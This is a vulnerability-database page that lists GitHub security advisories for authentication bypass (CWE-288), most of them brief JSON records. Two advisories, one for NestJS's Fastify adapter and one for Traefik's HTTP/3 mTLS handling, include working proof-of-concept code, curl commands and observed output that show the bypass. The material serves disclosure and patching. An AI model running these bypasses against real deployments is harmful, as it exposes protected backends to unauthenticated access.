CWE-288
AllowedAuthentication Bypass Using an Alternate Path or Channel
Abstraction: Base · Status: Incomplete
The product requires authentication, but the product has an alternate path or channel that does not require authentication.
1229 vulnerabilities reference this CWE, most recent first.
GHSA-96RH-XVCC-H6FR
Vulnerability from github – Published: 2026-08-20 12:31 – Updated: 2026-08-20 12:31Subscriber Broken Authentication in Leyka <= 3.32.3 versions.
{
"affected": [],
"aliases": [
"CVE-2026-66677"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-20T12:16:35Z",
"severity": "HIGH"
},
"details": "Subscriber Broken Authentication in Leyka \u003c= 3.32.3 versions.",
"id": "GHSA-96rh-xvcc-h6fr",
"modified": "2026-08-20T12:31:25Z",
"published": "2026-08-20T12:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66677"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/leyka/vulnerability/wordpress-leyka-plugin-3-32-3-broken-authentication-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-9879-4R59-96J2
Vulnerability from github – Published: 2025-04-05 21:30 – Updated: 2025-04-05 21:30In Zammad 6.4.x before 6.4.2, an authenticated agent with knowledge base permissions was able to use the Zammad API to fetch knowledge base content that they have no permission for.
{
"affected": [],
"aliases": [
"CVE-2025-32357"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-05T21:15:39Z",
"severity": "MODERATE"
},
"details": "In Zammad 6.4.x before 6.4.2, an authenticated agent with knowledge base permissions was able to use the Zammad API to fetch knowledge base content that they have no permission for.",
"id": "GHSA-9879-4r59-96j2",
"modified": "2025-04-05T21:30:23Z",
"published": "2025-04-05T21:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32357"
},
{
"type": "WEB",
"url": "https://zammad.com/en/advisories/zaa-2025-04"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-98C3-Q46G-62QH
Vulnerability from github – Published: 2025-03-14 12:32 – Updated: 2026-04-08 18:33The Civi - Job Board & Freelance Marketplace WordPress Theme plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 2.1.4. This is due to a lack of user validation before changing a password. This makes it possible for unauthenticated attackers to change the password of arbitrary users, including administrators, if the attacker knows the username of the victim.
{
"affected": [],
"aliases": [
"CVE-2024-13771"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-14T12:15:13Z",
"severity": "CRITICAL"
},
"details": "The Civi - Job Board \u0026 Freelance Marketplace WordPress Theme plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 2.1.4. This is due to a lack of user validation before changing a password. This makes it possible for unauthenticated attackers to change the password of arbitrary users, including administrators, if the attacker knows the username of the victim.",
"id": "GHSA-98c3-q46g-62qh",
"modified": "2026-04-08T18:33:51Z",
"published": "2025-03-14T12:32:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13771"
},
{
"type": "WEB",
"url": "https://themeforest.net/item/civi-job-board-wordpress-theme/42770817"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5ab2c74d-b83b-40ea-951c-83aeb76a7515?source=cve"
},
{
"type": "WEB",
"url": "http://localhost:1337/wp-content/themes/civi/includes/class-ajax.php#L715"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-98CX-X9CV-HFMJ
Vulnerability from github – Published: 2024-12-13 15:30 – Updated: 2026-04-01 18:32Authentication Bypass Using an Alternate Path or Channel vulnerability in Codexpert, Inc CoSchool LMS allows Authentication Bypass.This issue affects CoSchool LMS: from n/a through 1.2.
{
"affected": [],
"aliases": [
"CVE-2024-54296"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-13T15:15:33Z",
"severity": "CRITICAL"
},
"details": "Authentication Bypass Using an Alternate Path or Channel vulnerability in Codexpert, Inc CoSchool LMS allows Authentication Bypass.This issue affects CoSchool LMS: from n/a through 1.2.",
"id": "GHSA-98cx-x9cv-hfmj",
"modified": "2026-04-01T18:32:43Z",
"published": "2024-12-13T15:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54296"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/coschool/vulnerability/wordpress-coschool-lms-plugin-1-2-account-takeover-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-98HM-C56G-VJQC
Vulnerability from github – Published: 2023-05-23 00:30 – Updated: 2024-04-04 04:17A proprietary protocol for iBoot devices is used for control and keepalive commands. The function compares the username and password; it also contains the configuration data for the user specified. If the user does not exist, then it sends a value for username and password, which allows successful authentication for a connection.
{
"affected": [],
"aliases": [
"CVE-2022-47311"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-22T23:15:09Z",
"severity": "HIGH"
},
"details": "A proprietary protocol for iBoot devices is used for control and keepalive commands. The function compares the username and password; it also contains the configuration data for the user specified. If the user does not exist, then it sends a value for username and password, which allows successful authentication for a connection.",
"id": "GHSA-98hm-c56g-vjqc",
"modified": "2024-04-04T04:17:06Z",
"published": "2023-05-23T00:30:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47311"
},
{
"type": "WEB",
"url": "https://dataprobe.com/support/iboot-pdu/local_upgrade_pdu_procedure.pdf"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-22-263-03"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-98RG-4FMQ-FRPJ
Vulnerability from github – Published: 2023-05-18 03:30 – Updated: 2023-05-18 03:30A vulnerability in the social login configuration option for the guest users of Cisco Business Wireless Access Points (APs) could allow an unauthenticated, adjacent attacker to bypass social login authentication. This vulnerability is due to a logic error with the social login implementation. An attacker could exploit this vulnerability by attempting to authenticate to an affected device. A successful exploit could allow the attacker to access the Guest Portal without authentication.
{
"affected": [],
"aliases": [
"CVE-2023-20003"
],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-18T03:15:09Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the social login configuration option for the guest users of Cisco Business Wireless Access Points (APs) could allow an unauthenticated, adjacent attacker to bypass social login authentication. This vulnerability is due to a logic error with the social login implementation. An attacker could exploit this vulnerability by attempting to authenticate to an affected device. A successful exploit could allow the attacker to access the Guest Portal without authentication.",
"id": "GHSA-98rg-4fmq-frpj",
"modified": "2023-05-18T03:30:20Z",
"published": "2023-05-18T03:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20003"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cbw-auth-bypass-ggnAfdZ"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9C5C-9QCX-Q35Q
Vulnerability from github – Published: 2026-09-30 14:41 – Updated: 2026-09-30 14:41| Field | Value |
|---|---|
| Ecosystem | npm |
| Package | @nestjs/platform-fastify |
| Affected versions | >= 12.0.0, < 12.0.2 and < 11.2.4 |
| Patched versions | 12.0.2 and 11.2.4 (upgrade to 12.0.3 / 11.2.5) |
Summary
On the Fastify adapter, an HTTP request that uses an absolute-form request target (GET http://host/path HTTP/1.1
instead of GET /path HTTP/1.1) reaches the route handler without running the path-scoped Nest middleware bound to
that route. Applications that enforce authentication or authorization in middleware execute the protected handler
with those checks skipped.
Impact
Any application that
- uses
@nestjs/platform-fastify, and - binds middleware to specific paths via
MiddlewareConsumer.forRoutes(...)or.exclude(...), and - is reachable by a client that controls the raw request line.
Node's HTTP server accepts absolute-form targets, so no special server configuration is needed. Exposure is reduced when a reverse proxy in front of the application rewrites the request target to origin-form, which most do.
Where the bypassed middleware performs authentication or authorization, the result is an authentication or authorization bypass. Where it performs logging, rate limiting or body handling, those are silently skipped instead.
Details
Fastify's router (find-my-way) resolves an absolute-form target to its path before matching, so the route handler
is dispatched normally. Two places on the middleware side matched against the raw request target instead:
- The bundled copy of the
@fastify/middieengine atpackages/platform-fastify/adapters/middie/fastify-middie.ts. NestJS carried this fork to apply an earlier path-decoding fix and it did not track the upstream absolute-form fix released in@fastify/middie@9.3.4. FastifyAdapter's own re-check increateMiddlewareFactory(), which tests the middleware path regexp againstreq.originalUrl.
Both normalized and percent-decoded the target, but neither resolved absolute-form to a path, so the router and the middleware layer disagreed about which path was being requested.
A second, related defect contributed. Because the adapter always passes routerOptions (to install the version
constraint), Fastify did not reflect the deprecated top-level router options (ignoreTrailingSlash,
ignoreDuplicateSlashes, caseSensitive, useSemicolonDelimiter) in initialConfig.routerOptions, which is what
the middleware engine reads. Applications passing those options at the top level had middleware normalize paths
differently from the router, which widened the mismatch.
Proof of concept
@Controller('users')
export class UsersController {
@Get()
findAll() {
return 'protected data';
}
}
@Module({ controllers: [UsersController] })
export class AppModule implements NestModule {
configure(consumer: MiddlewareConsumer) {
consumer
.apply((req, res) => res.end('blocked by auth middleware'))
.forRoutes({ path: 'users', method: RequestMethod.GET });
}
}
supertest and light-my-request always emit origin-form targets, so the request has to be written to the socket:
const { connect } = require('node:net');
const socket = connect(3000, '127.0.0.1', () => {
socket.write(
'GET http://127.0.0.1:3000/users HTTP/1.1\r\n' +
'Host: 127.0.0.1:3000\r\n' +
'Connection: close\r\n\r\n',
);
});
socket.pipe(process.stdout);
Observed on an affected version: protected data — the middleware did not run.
Expected, and observed on a patched version: blocked by auth middleware.
Patches
Fixed in 12.0.2 and 11.2.4. Upgrading to 12.0.3 or 11.2.5 is recommended.
- The bundled
@fastify/middiefork was removed and the package now depends on@fastify/middie@9.3.4, which resolves absolute-form targets before matching. - The adapter resolves absolute-form targets in its own route check, mirroring
find-my-way. - Deprecated top-level Fastify router options are folded into
routerOptionsso the middleware engine and the router normalize paths identically.
Workarounds
If you cannot upgrade, reject non-origin-form request targets before middleware runs. Register the hook on the
Fastify instance before the application is initialized, so that it runs ahead of the middleware engine's own
onRequest hook, and confirm with the request above that the rejection takes effect:
const adapter = new FastifyAdapter();
adapter.getInstance().addHook('onRequest', (request, reply, done) => {
const target = request.raw.url ?? '';
// "*" is the legitimate request target of "OPTIONS * HTTP/1.1"
if (target[0] !== '/' && target !== '*') {
reply.code(400).send();
return;
}
done();
});
Rejecting or normalizing absolute-form targets at a reverse proxy in front of the application is equally effective.
Credit
Reported by ZeroVuln Labs.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@nestjs/platform-fastify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@nestjs/platform-fastify"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0"
},
{
"fixed": "12.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-288",
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-30T14:41:39Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "| Field | Value |\n| --- | --- |\n| Ecosystem | npm |\n| Package | `@nestjs/platform-fastify` |\n| Affected versions | `\u003e= 12.0.0, \u003c 12.0.2` and `\u003c 11.2.4` |\n| Patched versions | `12.0.2` and `11.2.4` (upgrade to `12.0.3` / `11.2.5`) |\n\n### Summary\n\nOn the Fastify adapter, an HTTP request that uses an **absolute-form request target** (`GET http://host/path HTTP/1.1`\ninstead of `GET /path HTTP/1.1`) reaches the route handler without running the path-scoped Nest middleware bound to\nthat route. Applications that enforce authentication or authorization in middleware execute the protected handler\nwith those checks skipped.\n\n### Impact\n\nAny application that\n\n- uses `@nestjs/platform-fastify`, and\n- binds middleware to specific paths via `MiddlewareConsumer.forRoutes(...)` or `.exclude(...)`, and\n- is reachable by a client that controls the raw request line.\n\nNode\u0027s HTTP server accepts absolute-form targets, so no special server configuration is needed. Exposure is reduced\nwhen a reverse proxy in front of the application rewrites the request target to origin-form, which most do.\n\nWhere the bypassed middleware performs authentication or authorization, the result is an authentication or\nauthorization bypass. Where it performs logging, rate limiting or body handling, those are silently skipped instead.\n\n### Details\n\nFastify\u0027s router (`find-my-way`) resolves an absolute-form target to its path before matching, so the route handler\nis dispatched normally. Two places on the middleware side matched against the **raw** request target instead:\n\n1. The bundled copy of the `@fastify/middie` engine at `packages/platform-fastify/adapters/middie/fastify-middie.ts`.\n NestJS carried this fork to apply an earlier path-decoding fix and it did not track the upstream absolute-form fix\n released in `@fastify/middie@9.3.4`.\n2. `FastifyAdapter`\u0027s own re-check in `createMiddlewareFactory()`, which tests the middleware path regexp against\n `req.originalUrl`.\n\nBoth normalized and percent-decoded the target, but neither resolved absolute-form to a path, so the router and the\nmiddleware layer disagreed about which path was being requested.\n\nA second, related defect contributed. Because the adapter always passes `routerOptions` (to install the version\nconstraint), Fastify did not reflect the deprecated **top-level** router options (`ignoreTrailingSlash`,\n`ignoreDuplicateSlashes`, `caseSensitive`, `useSemicolonDelimiter`) in `initialConfig.routerOptions`, which is what\nthe middleware engine reads. Applications passing those options at the top level had middleware normalize paths\ndifferently from the router, which widened the mismatch.\n\n### Proof of concept\n\n```ts\n@Controller(\u0027users\u0027)\nexport class UsersController {\n @Get()\n findAll() {\n return \u0027protected data\u0027;\n }\n}\n\n@Module({ controllers: [UsersController] })\nexport class AppModule implements NestModule {\n configure(consumer: MiddlewareConsumer) {\n consumer\n .apply((req, res) =\u003e res.end(\u0027blocked by auth middleware\u0027))\n .forRoutes({ path: \u0027users\u0027, method: RequestMethod.GET });\n }\n}\n```\n\n`supertest` and `light-my-request` always emit origin-form targets, so the request has to be written to the socket:\n\n```js\nconst { connect } = require(\u0027node:net\u0027);\n\nconst socket = connect(3000, \u0027127.0.0.1\u0027, () =\u003e {\n socket.write(\n \u0027GET http://127.0.0.1:3000/users HTTP/1.1\\r\\n\u0027 +\n \u0027Host: 127.0.0.1:3000\\r\\n\u0027 +\n \u0027Connection: close\\r\\n\\r\\n\u0027,\n );\n});\nsocket.pipe(process.stdout);\n```\n\nObserved on an affected version: `protected data` \u2014 the middleware did not run.\nExpected, and observed on a patched version: `blocked by auth middleware`.\n\n### Patches\n\nFixed in **12.0.2** and **11.2.4**. Upgrading to **12.0.3** or **11.2.5** is recommended.\n\n- The bundled `@fastify/middie` fork was removed and the package now depends on `@fastify/middie@9.3.4`, which\n resolves absolute-form targets before matching.\n- The adapter resolves absolute-form targets in its own route check, mirroring `find-my-way`.\n- Deprecated top-level Fastify router options are folded into `routerOptions` so the middleware engine and the\n router normalize paths identically.\n\n### Workarounds\n\nIf you cannot upgrade, reject non-origin-form request targets before middleware runs. Register the hook on the\nFastify instance **before the application is initialized**, so that it runs ahead of the middleware engine\u0027s own\n`onRequest` hook, and confirm with the request above that the rejection takes effect:\n\n```ts\nconst adapter = new FastifyAdapter();\nadapter.getInstance().addHook(\u0027onRequest\u0027, (request, reply, done) =\u003e {\n const target = request.raw.url ?? \u0027\u0027;\n // \"*\" is the legitimate request target of \"OPTIONS * HTTP/1.1\"\n if (target[0] !== \u0027/\u0027 \u0026\u0026 target !== \u0027*\u0027) {\n reply.code(400).send();\n return;\n }\n done();\n});\n```\n\nRejecting or normalizing absolute-form targets at a reverse proxy in front of the application is equally effective.\n\n### Credit\n\nReported by ZeroVuln Labs.",
"id": "GHSA-9c5c-9qcx-q35q",
"modified": "2026-09-30T14:41:39Z",
"published": "2026-09-30T14:41:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fastify/middie/security/advisories/GHSA-hx87-8wv7-pjv8"
},
{
"type": "WEB",
"url": "https://github.com/nestjs/nest/security/advisories/GHSA-9c5c-9qcx-q35q"
},
{
"type": "WEB",
"url": "https://github.com/nestjs/nest/pull/17737"
},
{
"type": "WEB",
"url": "https://github.com/nestjs/nest/commit/5226fe084cf64b357de436f154bc89f2d319b621"
},
{
"type": "WEB",
"url": "https://github.com/nestjs/nest/commit/dda252090ecb65009d9ff366444303796fc44fd7"
},
{
"type": "PACKAGE",
"url": "https://github.com/nestjs/nest"
},
{
"type": "WEB",
"url": "https://github.com/nestjs/nest/releases/tag/v11.2.4"
},
{
"type": "WEB",
"url": "https://github.com/nestjs/nest/releases/tag/v12.0.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "@nestjs/platform-fastify: Path-scoped middleware bypass via absolute-form request targets"
}
GHSA-9C75-X9M5-346W
Vulnerability from github – Published: 2025-06-26 18:31 – Updated: 2025-06-26 18:31Authentication Bypass Using an Alternate Path or Channel vulnerability in Drupal Enterprise MFA - TFA for Drupal allows Authentication Bypass.This issue affects Enterprise MFA - TFA for Drupal: from 0.0.0 before 4.8.0, from 5.2.0 before 5.2.1, from 0.0.0 before 5.0., from 0.0.0 before 5.1..
{
"affected": [],
"aliases": [
"CVE-2025-6675"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-26T14:15:34Z",
"severity": "MODERATE"
},
"details": "Authentication Bypass Using an Alternate Path or Channel vulnerability in Drupal Enterprise MFA - TFA for Drupal allows Authentication Bypass.This issue affects Enterprise MFA - TFA for Drupal: from 0.0.0 before 4.8.0, from 5.2.0 before 5.2.1, from 0.0.0 before 5.0.*, from 0.0.0 before 5.1.*.",
"id": "GHSA-9c75-x9m5-346w",
"modified": "2025-06-26T18:31:26Z",
"published": "2025-06-26T18:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6675"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-contrib-2025-082"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9CCR-8MMH-VX6X
Vulnerability from github – Published: 2026-01-10 00:30 – Updated: 2026-01-10 00:30A logic issue was addressed with improved validation. This issue is fixed in iOS 26.2 and iPadOS 26.2. Restoring from a backup may prevent passcode from being required immediately after Face ID enrollment.
{
"affected": [],
"aliases": [
"CVE-2025-46286"
],
"database_specific": {
"cwe_ids": [
"CWE-288"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-09T22:15:59Z",
"severity": "MODERATE"
},
"details": "A logic issue was addressed with improved validation. This issue is fixed in iOS 26.2 and iPadOS 26.2. Restoring from a backup may prevent passcode from being required immediately after Face ID enrollment.",
"id": "GHSA-9ccr-8mmh-vx6x",
"modified": "2026-01-10T00:30:30Z",
"published": "2026-01-10T00:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46286"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125884"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9CR8-Q42Q-G8M7
Vulnerability from github – Published: 2026-06-16 21:04 – Updated: 2026-09-02 21:11Summary
There is a critical vulnerability in Traefik's HTTP/3 (QUIC) TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP/3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact, case-sensitive lookup on the SNI value, which fails to match wildcard host patterns (e.g., *.example.com) or case variants of the configured hostname. Because the handshake falls back to the default TLS configuration — which may not require client certificates — a client can complete the QUIC handshake without presenting a certificate, while the subsequent HTTP routing layer still dispatches the request to a backend protected by a router-specific mTLS policy. The issue affects deployments where HTTP/3 is enabled, a router uses a wildcard Host rule or case-insensitive hostname matching, a router-specific TLSOptions enforces client certificate authentication, and UDP access to the entrypoint is reachable by an attacker.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.18
- https://github.com/traefik/traefik/releases/tag/v3.7.3
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description ### Summary Traefik's HTTP/3 TLS configuration selection can ignore router-specific `TLSOptions` and allow unauthenticated clients to bypass mTLS. The QUIC/HTTP3 path resolves TLS configuration with `Router.GetTLSGetClientInfo()`, which performs a direct, case-sensitive map lookup on `hostHTTPTLSConfig[info.ServerName]`. This is inconsistent with the later HTTP host routing semantics, where the same request host can still match wildcard or case-insensitive `Host` rules after the HTTP/3 TLS handshake has already fallen back to the default TLS configuration. Two exploit paths are confirmed: 1. `Host("*.example.com")` with `tls.options=mtls`: HTTP/2 requires a client certificate, but HTTP/3 reaches the protected backend without one. 2. `Host("api.example.com")` with `tls.options=mtls`: HTTP/2 requires a client certificate, but HTTP/3 with mixed-case SNI/Host such as `API.EXAMPLE.COM` reaches the protected backend without one. Confirmed versions: - wildcard HTTP/3 bypass: `v3.7.0`, `v3.7.1` - exact-host mixed-case HTTP/3 bypass: `v3.6.17`, `v3.7.0`, `v3.7.1` ### Details HTTP/3 installs a QUIC TLS callback in `pkg/server/server_entrypoint_tcp_http3.go`:h3.Server = &http3.Server{
Addr: config.GetAddress(),
Port: config.HTTP3.AdvertisedPort,
Handler: httpsServer.Server.(*http.Server).Handler,
TLSConfig: &tls.Config{GetConfigForClient: h3.getGetConfigForClient},
}
The callback is wired to the TCP router's TLS selector:
func (e *http3server) Switch(rt *tcprouter.Router) {
e.lock.Lock()
defer e.lock.Unlock()
e.getter = rt.GetTLSGetClientInfo()
}
The selector in `pkg/server/router/tcp/router.go` only performs an exact map lookup:
func (r *Router) GetTLSGetClientInfo() func(info *tls.ClientHelloInfo) (*tls.Config, error) {
return func(info *tls.ClientHelloInfo) (*tls.Config, error) {
if tlsConfig, ok := r.hostHTTPTLSConfig[info.ServerName]; ok {
return tlsConfig, nil
}
return r.httpsTLSConfig, nil
}
}
That creates two mismatches:
- wildcard keys such as `*.example.com` are never matched for `api.example.com`
- lower-case router keys such as `api.example.com` are not matched for mixed-case SNI such as `API.EXAMPLE.COM`
On the later HTTP request path, the same host can still match wildcard or case-insensitive `Host` rules through the muxer. The HTTP/3 TLS handshake path falls back to the default TLS config before that routing decision happens. If the default TLS config does not require a client certificate, the QUIC handshake succeeds without mTLS, and the later HTTP router still routes to the protected backend.
Preconditions:
- HTTP/3 is enabled on the affected entrypoint.
- A router-specific `TLSOptions` configuration enforces client certificate authentication.
- The default/fallback TLS configuration does not require client certificates.
- UDP access to the HTTP/3 entrypoint is reachable by the attacker.
Minimal wildcard dynamic configuration:
http:
routers:
protected:
rule: Host(`*.example.com`)
service: protected
tls:
options: mtls
services:
protected:
loadBalancer:
servers:
- url: http://protected:80
tls:
certificates:
- certFile: /certs/server.crt
keyFile: /certs/server.key
options:
mtls:
clientAuth:
caFiles:
- /certs/ca.crt
clientAuthType: RequireAndVerifyClientCert
Minimal exact-host dynamic configuration:
http:
routers:
protected:
rule: Host(`api.example.com`)
service: protected
tls:
options: mtls
services:
protected:
loadBalancer:
servers:
- url: http://protected:80
tls:
certificates:
- certFile: /certs/server.crt
keyFile: /certs/server.key
options:
mtls:
clientAuth:
caFiles:
- /certs/ca.crt
clientAuthType: RequireAndVerifyClientCert
Minimal Docker Compose:
services:
traefik:
image: traefik:v3.7.1
command:
- --log.level=DEBUG
- --entrypoints.websecure.address=:8443
- --entrypoints.websecure.http3
- --providers.file.filename=/etc/traefik/dynamic.yml
- --providers.file.watch=false
ports:
- "8443:8443/tcp"
- "8443:8443/udp"
volumes:
- ./dynamic.yml:/etc/traefik/dynamic.yml:ro
- ./certs:/certs:ro
depends_on:
- protected
protected:
image: traefik/whoami:v1.11
command:
- --name=PROTECTED
Certificate generation:
rm -rf certs
mkdir -p certs
openssl req -x509 -newkey rsa:2048 -nodes -days 7 -keyout certs/ca.key -out certs/ca.crt -subj "/CN=traefik-poc-ca"
openssl req -newkey rsa:2048 -nodes -keyout certs/server.key -out certs/server.csr -subj "/CN=api.example.com" -addext "subjectAltName=DNS:api.example.com,DNS:*.example.com"
openssl x509 -req -in certs/server.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial -out certs/server.crt -days 7 -sha256 -copy_extensions copyall
The mixed-case HTTP/3 client used for the exact-host case:
package main
import (
"crypto/tls"
"fmt"
"io"
"net/http"
"os"
"time"
"github.com/quic-go/quic-go/http3"
)
func main() {
serverName := os.Getenv("TLS_SERVER_NAME")
if serverName == "" {
serverName = "API.EXAMPLE.COM"
}
host := os.Getenv("HTTP_HOST")
if host == "" {
host = "API.EXAMPLE.COM"
}
tr := &http3.Transport{
TLSClientConfig: &tls.Config{
ServerName: serverName,
InsecureSkipVerify: true,
},
}
defer tr.Close()
client := &http.Client{Transport: tr, Timeout: 8 * time.Second}
req, err := http.NewRequest(http.MethodGet, "https://127.0.0.1:8443/", nil)
if err != nil {
panic(err)
}
req.Host = host
resp, err := client.Do(req)
if err != nil {
fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
defer resp.Body.Close()
fmt.Println(resp.Proto, resp.StatusCode)
body, _ := io.ReadAll(resp.Body)
fmt.Print(string(body))
}
### PoC
Wildcard bypass:
1. Start Traefik with the wildcard dynamic configuration above.
2. Control over TCP/TLS:
curl --noproxy '*' --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/
Observed result:
TLS alert ... certificate required
3. HTTP/3 bypass:
curl --noproxy '*' --http3-only -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/
Observed result:
HTTP/3 200
Name: PROTECTED
Host: api.example.com:8443
Exact-host mixed-case bypass:
1. Start Traefik with the exact-host dynamic configuration above.
2. Control over TCP/TLS:
curl --noproxy '*' --http2 -skv --resolve api.example.com:8443:127.0.0.1 https://api.example.com:8443/
Observed result:
TLS alert ... certificate required
3. Mixed-case HTTP/2 control:
curl --noproxy '*' --http2 -skv --resolve API.EXAMPLE.COM:8443:127.0.0.1 https://API.EXAMPLE.COM:8443/
Observed result:
TLS alert ... certificate required
This control confirms that the bypass is specific to the HTTP/3 TLS configuration selection path in this test setup. The HTTP/2 request to the same mixed-case hostname still fails with `certificate required`.
4. HTTP/3 bypass with the same mixed-case hostname:
TLS_SERVER_NAME=API.EXAMPLE.COM HTTP_HOST=API.EXAMPLE.COM go run ./h3-case-client.go
Observed result:
HTTP/3.0 200
Name: PROTECTED
Host: API.EXAMPLE.COM
Local regression tests used during validation:
go test ./pkg/server/router/tcp -run 'TestGetTLSGetClientInfo_(WildcardCurrentBehavior|ExactHostCaseSensitivityCurrentBehavior)$' -count=1
These tests were added locally during analysis to demonstrate the current behavior of `GetTLSGetClientInfo()`. They are not required to reproduce the issue; the Docker and `curl`/HTTP3 commands above are the end-to-end reproduction.
Version matrix observed with Docker images:
wildcard H3 bypass: affected on v3.7.0 and v3.7.1
exact-case H3 bypass: affected on v3.6.17, v3.7.0, and v3.7.1
The wildcard case was tested on v3.7.x because wildcard `Host` / `HostSNI` matching and TLSOptions association for wildcard domains were introduced in v3.7.0.
### Impact
Deployments that use router `TLSOptions` as an access-control boundary for HTTP/3 can expose protected backends without client authentication.
The highest-impact case is mTLS:
- normal HTTP/2/TCP access to the protected host requires a client certificate
- HTTP/3 access to the same route falls back to the default TLS config
- the request is then routed to the protected backend without satisfying the route's mTLS policy
This can expose confidential data or privileged backend operations to unauthenticated network clients. The issue is especially severe because it does not require credentials, user interaction, or a prior foothold.
Possible workarounds until a fix is available:
- Disable HTTP/3 on entrypoints that rely on router-specific mTLS.
- Enforce mTLS in the default TLS options as well, so fallback TLS configuration is not weaker than router-specific configuration.
- Block UDP access to the HTTP/3 entrypoint.
- Enforce client authentication at an additional layer behind Traefik.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.7.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0"
},
{
"fixed": "3.7.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.11.50"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.51"
}
],
"type": "ECOSYSTEM"
